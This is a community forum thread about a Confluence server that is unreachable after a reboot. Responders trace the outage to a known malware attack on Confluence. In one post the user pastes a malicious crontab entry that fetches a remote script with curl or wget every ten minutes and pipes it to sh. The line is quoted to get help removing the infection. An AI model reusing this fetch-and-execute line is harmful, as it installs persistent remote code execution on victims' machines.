Rebooted Server and now Confluence giving "This site can?t be reached" error
Asked by Ken Ducey:

We have Confluence and Jira installed on the same server. We recently had to reboot the server. Jira works fine, but when we click on the Confluence url (<http://ourip:8090/display/TEC/Development+Space>) we get an error:

This site can't be reached {#toc-hId--1439461867}
-------------------------------------------------

refused to connect.

ERR_CONNECTION_REFUSED

Can you help me find out what is causing this,, and how I can troubleshoot this?

thanks,  
Ken


Answers:
author: Daniel Eads
body: Hey Ken,

I would be interested in knowing what version of Confluence you're on, and if your server is accessible over the internet. We recently saw an attack against a security vulnerability in most versions of Confluence that prevents Confluence from starting up on infected servers. [I've written an article about it here that will be useful in determining if you are affected](https://community.atlassian.com/t5/Confluence-articles/Confluence-CVEs-and-common-questions/ba-p/1062634).

Have a look at let us know if you still need help after reading the article.

Thanks,  
Daniel \| Atlassian Support

comments: author: Ken Ducey
body: Thanks.

The server is <http://t.hamlethub.com/> As you can see, you can access the server, in addition to being able to access Jira.

I am fairly certain we are using the most recent version of Confluence. I will read the article.

FWIW, the reason I rebooted the server is due to a message AWS sent me suggesting it had been hacked. We did have SSH port 22 open, and that is now closed. (message below)

"We've received a report(s) that your AWS resource(s) listed in the 'Affected resources' tab has been implicated in activity which resembles attempts to access remote hosts on the internet without authorization."

I am not sure this is related, but FYI.


author: Ken Ducey
body: Yikes!

The following was in my crontab:

\*/10 \* \* \* \* (curl -fsSL [https://dd.heheda.tk/i.jpg\|\|wget](https://dd.heheda.tk/i.jpg||wget) -q -O- [https://dd.heheda.tk/i.jpg)\|sh](https://dd.heheda.tk/i.jpg)|sh)

I will use the kerberods remover as per your article.

If I reboot, will it kill any processes? I could not find any using the confluence user.

Thanks!


author: Ken Ducey
body: I am not great with linux. I only have Jira and Confluence installed on this server. I can have everyone log off

The malware checker found something in a file in the tmp folder. I am not sure which of the files in that folder are valid, and which may be malware. Is it possible to simply delete everything in that folder?

Thanks,

Ken


author: Ken Ducey
body: I believe I have cleaned up the malware, however the site is still down. Do I need to reinstall?


author: Sandesh Shetty
body: <https://confluence.atlassian.com/confkb/confluence-does-not-start-due-to-spring-application-context-has-not-been-set-218278311.html?_ga=2.58775789.1359027429.1555727745-666530993.1550497952>

[@Ken Ducey](/t5/user/viewprofilepage/user-id/643912) list in this article may be the reason check it once!

comments: author: Ken Ducey
body: I did go through most of that list, however I am not receiving any of those error messages. It appears to start correctly, but I just can't access it from the browser..


author: Sandesh Shetty
body: [@Ken Ducey](/t5/user/viewprofilepage/user-id/643912)

You can just try -\> Go to Confluence Installation directory and run bin/startup.sh


author: Ken Ducey
body: I did that, and it appeared to run with no errors. Yet the browser still gives me the message above. The ports are open. I do believe I was hit by the malware (see below), but not sure how to repair it after I remove the malware.


author: Jero Dungog
body: [@Ken Ducey](/t5/user/viewprofilepage/user-id/643912) I am having this exact issue right now.  
Can you share with me some of the details of your issue?  

Thank you!


author: Ken Ducey
body: Luke, I eventually did a reinstall. However, I have ad the error since then, and sometimes simply restarting confluence and restarting nginx works

Cd /opt/atlassian/confluence/bin  
sudo sh start-confluence.sh  
sudo service nginx reload


author: Craig Castle-Mead
body: Hi Ken,

My guess would be that Confluence wasn't configured to start on boot (at all, or correctly).

<https://confluence.atlassian.com/doc/start-and-stop-confluence-838416264.html> should be a good start.

CCM

comments: author: Ken Ducey
body: Thanks, I started it from the command line, and it appears to start correctly but I cannot access it from my web browser. I checked the error files and they do not appear to contain any errors.

I started it using sudo sh start-confluence.sh and had no luck. I then switched to user confluence1 and used the same command without sudo (sh start-confluence.sh) and still cannot access it from the browser.

I am using the same url I have used multiple times before rebooting.

Any hints would be very much appreciated.

Ken


Tags: confluence-server

server